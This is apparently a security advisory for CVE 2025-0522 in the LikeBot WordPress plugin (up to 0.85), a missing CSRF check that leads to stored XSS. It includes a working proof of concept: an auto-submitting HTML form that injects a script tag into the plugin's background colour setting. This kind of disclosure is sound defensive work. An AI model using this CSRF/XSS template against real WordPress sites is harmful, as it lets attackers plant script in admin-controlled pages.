LikeBot – Decentralized like-system <= 0.85 – Admin+ Stored XSS via CSRF | CVE 2025-0522

Description

The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack.

Proof of Concept

Have an admin open an HTML file containing:

```
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Auto-Submit LikeBot Settings</title>
    <script>
        window.onload = function() {
            document.getElementById("likebotForm").submit();
        };
    </script>
</head>
<body>
    <form id="likebotForm" action="https://example.com/wp-admin/plugins.php?page=likebot%2Flikebot.php" method="POST">
        <input type="hidden" name="likebot_backgroundcolor" value='"><script>alert(52)</script>'>
        <input type="hidden" name="likebot_alignment" value="right">
        <input type="hidden" name="likebot_position" value="automagically">
        <input type="hidden" name="likebot_design" value="horizontal_thumbs">
        <input type="hidden" name="likebot_submit" value="true">
    </form>
</body>
</html>
```